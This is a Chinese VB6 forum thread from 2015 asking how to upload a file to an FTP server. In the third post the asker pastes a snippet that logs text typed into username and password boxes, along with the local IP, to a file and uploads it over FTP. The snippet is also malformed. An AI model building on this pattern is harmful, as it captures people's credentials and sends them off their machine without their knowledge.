请教：向FTP服务器上传文件的vb6代码如何写？谢谢。 - VB6论坛

编程论坛 → 开发语言 → 『 VB6论坛』 → 请教：向FTP服务器上传文件的vb6代码如何写？谢谢。

标题：请教：向FTP服务器上传文件的vb6代码如何写？谢谢。

只看楼主

HVB6

等　级：贵宾
威　望：15
帖　子：320
专家分：561
注　册：2013-10-30
结帖率：100%

楼主

已结贴√ 问题点数：20 回复次数：4

请教：向FTP服务器上传文件的vb6代码如何写？谢谢。

假设
IP：192.169.11.3
用户名: kmf
密码：grte
上传文件目的地：192.169.11.3\a\b\c\e\f\g

[此贴子已经被作者于2015-11-4 07:57编辑过]

2015-11-04 07:54

xiangyue0510

等　级：贵宾
威　望：86
帖　子：934
专家分：5244
注　册：2015-8-10

第 2 楼

得分:7

附件里面有一个完整的例子，你自己研究一下。

wininet_ftpclient.zip (98.05 KB)

2015-11-04 09:31

HVB6

等　级：贵宾
威　望：15
帖　子：320
专家分：561
注　册：2013-10-30

第 3 楼

得分:0

回复 2楼 xiangyue0510

谢谢。
以下的代码，谁给修改，即把IP、用户名、密码均写入代码中，不要任何控件。上传文件目的地：192.169.11.3\a\b\c\e\f\g\k963.txt
本地路径：F:\wwq\\k963.txt
Private Sub Command1_Click()
Open "C:\1.txt" For Append As #1
Print #1, "用户名："; Text1.Text, "密码："; Text2.Text, "来自于："; Winsock1.LocalIP, ""
Close #1
End Sub
Inet1.URL = "" ' ftp地址
Inet1.Protocol = 2
Inet1.UserName = "" '用户名
Inet1.Password = "" ' 密码
Inet1.Execute , "PUT " & "c:\1.txt" & " 1.txt"
Do While Inet1.StillExecuting
DoEvents
Loop
MsgBox "OK啦!", vbInformation, "提示"
End Sub

[此贴子已经被作者于2015-11-4 15:16编辑过]

2015-11-04 10:48

wmf2014